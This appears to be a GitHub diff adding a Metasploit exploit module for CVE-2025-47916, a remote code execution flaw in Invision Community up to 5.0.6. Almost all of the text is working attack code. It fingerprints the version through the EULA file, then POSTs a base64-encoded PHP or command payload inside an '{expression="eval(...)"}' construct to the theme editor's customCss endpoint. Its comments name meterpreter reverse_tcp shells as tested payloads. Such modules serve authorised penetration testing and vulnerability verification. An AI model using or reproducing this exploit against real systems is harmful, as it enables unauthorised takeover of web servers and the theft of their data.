|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + Rank = ExcellentRanking |
| 8 | + |
| 9 | + include Msf::Exploit::Remote::HttpClient |
| 10 | + prepend Msf::Exploit::Remote::AutoCheck |
| 11 | + include Msf::Payload::Php |
| 12 | + |
| 13 | + def initialize(info = {}) |
| 14 | + super( |
| 15 | + update_info( |
| 16 | + info, |
| 17 | + 'Name' => 'Invision Community 5.0.6 customCss RCE', |
| 18 | + 'Description' => %q{ |
| 19 | + Invision Community up to and including version 5.0.6 contains a remote code |
| 20 | + execution vulnerability in the theme editor's customCss endpoint. By crafting |
| 21 | + a specially formatted `content` parameter with a `{expression="…"}` |
| 22 | + construct, arbitrary PHP can be evaluated. This module leverages that flaw |
| 23 | + to execute payloads or system commands as the webserver user. |
| 24 | + }, |
| 25 | + 'Author' => [ |
| 26 | + 'Egidio Romano (EgiX)', # Vulnerability discovery & original PoC |
| 27 | + 'Valentin Lobstein' # Metasploit module |
| 28 | + ], |
| 29 | + 'References' => [ |
| 30 | + ['CVE', '2025-47916'], |
| 31 | + ['URL', 'https://karmainsecurity.com/KIS-2025-02'], |
| 32 | + ['URL', 'https://invisioncommunity.com'] |
| 33 | + ], |
| 34 | + 'License' => MSF_LICENSE, |
| 35 | + 'Platform' => %w[php unix linux win], |
| 36 | + 'Arch' => [ARCH_PHP, ARCH_CMD], |
| 37 | + 'Targets' => [ |
| 38 | + [ |
| 39 | + 'PHP In-Memory', |
| 40 | + { |
| 41 | + 'Platform' => 'php', |
| 42 | + 'Arch' => ARCH_PHP |
| 43 | + # tested with php/meterpreter/reverse_tcp |
| 44 | + } |
| 45 | + ], |
| 46 | + [ |
| 47 | + 'Unix/Linux Command Shell', |
| 48 | + { |
| 49 | + 'Platform' => %w[unix linux], |
| 50 | + 'Arch' => ARCH_CMD |
| 51 | + # tested with cmd/linux/http/x64/meterpreter/reverse_tcp |
| 52 | + } |
| 53 | + ], |
| 54 | + [ |
| 55 | + 'Windows Command Shell', |
| 56 | + { |
| 57 | + 'Platform' => 'win', |
| 58 | + 'Arch' => ARCH_CMD |
| 59 | + # tested with cmd/windows/http/x64/meterpreter/reverse_tcp |
| 60 | + } |
| 61 | + ] |
| 62 | + ], |
| 63 | + 'DefaultTarget' => 0, |
| 64 | + 'DisclosureDate' => '2025-05-16', |
| 65 | + 'Notes' => { |
| 66 | + 'Stability' => [CRASH_SAFE], |
| 67 | + 'Reliability' => [REPEATABLE_SESSION], |
| 68 | + 'SideEffects' => [IOC_IN_LOGS] |
| 69 | + } |
| 70 | + ) |
| 71 | + ) |
| 72 | + end |
| 73 | + |
| 74 | + def check |
| 75 | + path = normalize_uri(target_uri.path, 'admin', 'install', 'eula.txt') |
| 76 | + res = send_request_cgi('uri' => path, 'method' => 'GET') |
| 77 | + unless res&.code == 200 && res.body =~ /^ IPS\ ([\d.]+) / |
| 78 | + return CheckCode::Unknown('Unable to retrieve or parse IPS version from EULA') |
| 79 | + end |
| 80 | + |
| 81 | + version = Rex::Version.new(Regexp.last_match(1)) |
| 82 | + print_status("Detected IPS version: #{version}") |
| 83 | + |
| 84 | + if version.between?(Rex::Version.new('5.0.0'), Rex::Version.new('5.0.6')) |
| 85 | + CheckCode::Appears("IPS version #{version} is vulnerable (≤ 5.0.6)") |
| 86 | + else |
| 87 | + CheckCode::Safe("IPS version #{version} is not vulnerable") |
| 88 | + end |
| 89 | + end |
| 90 | + |
| 91 | + # I'll remove this method when PR #20160 is merged. I'm aware of it, thanks |
| 92 | + def php_exec_cmd(encoded_payload) |
| 93 | + vars = Rex::RandomIdentifier::Generator.new |
| 94 | + dis = '$' + vars[:dis] |
| 95 | + encoded_clean_payload = Rex::Text.encode_base64(encoded_payload) |
| 96 | + shell = <<-END_OF_PHP_CODE |
| 97 | + #{php_preamble(disabled_varname: dis)} |
| 98 | + $c = base64_decode("#{encoded_clean_payload}"); |
| 99 | + #{php_system_block(cmd_varname: '$c', disabled_varname: dis)} |
| 100 | + END_OF_PHP_CODE |
| 101 | + return shell |
| 102 | + end |
| 103 | + |
| 104 | + def exploit |
| 105 | + raw = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded) |
| 106 | + b64 = Rex::Text.encode_base64(raw) |
| 107 | + |
| 108 | + expr = "{expression=\"die(eval(base64_decode('#{b64}')))\"}" |
| 109 | + post_data = { |
| 110 | + 'app' => 'core', |
| 111 | + 'module' => 'system', |
| 112 | + 'controller' => 'themeeditor', |
| 113 | + 'do' => 'customCss', |
| 114 | + 'content' => expr |
| 115 | + } |
| 116 | + |
| 117 | + print_status("Sending exploit to #{rhost}:#{rport} ...") |
| 118 | + send_request_cgi( |
| 119 | + 'uri' => normalize_uri(target_uri.path, 'index.php'), |
| 120 | + 'method' => 'POST', |
| 121 | + 'vars_post' => post_data |
| 122 | + ) |
| 123 | + end |
| 124 | +end |
0 commit comments